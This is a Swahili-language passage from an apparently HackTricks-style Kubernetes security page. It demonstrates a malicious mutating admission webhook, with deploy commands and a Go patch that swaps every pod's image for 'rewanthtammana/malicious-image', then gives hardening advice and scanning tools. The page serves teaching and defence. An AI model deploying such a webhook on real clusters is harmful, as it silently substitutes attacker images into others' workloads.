cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Angalia hali ili uone kama iko tayari:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Kisha deploy pod mpya:

kubectl run nginx --image nginx
kubectl get po -w

Unapoona kosa la ErrImagePull, angalia jina la image kwa kutumia mojawapo ya maswali yafuatayo:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Kama unavyoona kwenye picha hapo juu, tulijaribu kuendesha image nginx lakini image iliyotekelezwa hatimaye ilikuwa rewanthtammana/malicious-image. Nini kilitokea!!?

Maelezo ya kiufundi

Skripti ./deploy.sh inaweka mutating webhook admission controller, ambayo hubadilisha maombi kwenda kwa Kubernetes API kama ilivyobainishwa katika mistari yake ya usanidi, ikiachilia matokeo yaliyoshuhudiwa:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Mfano uliotangulia unabadilisha container image ya kwanza katika kila pod kuwa rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Mbinu Bora

Kuzima automount ya tokeni za Service Account

  • Pods and Service Accounts: Kwa chaguo-msingi, pods hu-mount tokeni ya Service Account. Ili kuimarisha usalama, Kubernetes inaruhusu kuzima kipengele hiki cha automount.
  • How to Apply: Weka automountServiceAccountToken: false katika usanidi wa Service Accounts au pods kuanzia toleo la Kubernetes 1.6.

Upeanaji wa watumiaji wenye vikwazo katika RoleBindings/ClusterRoleBindings

  • Selective Inclusion: Hakikisha kuwa watumiaji waliomo katika RoleBindings au ClusterRoleBindings ni wale tu wanaohitajika. Fanya ukaguzi mara kwa mara na ondoa watumiaji wasiofaa ili kudumisha usalama imara.

Tumia Roles za Namespace badala ya Cluster-wide Roles

  • Roles vs. ClusterRoles: Tumia Roles na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinafanya kazi kwa cluster nzima. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa.

Tumia zana za kiotomatiki

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

Marejeo

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks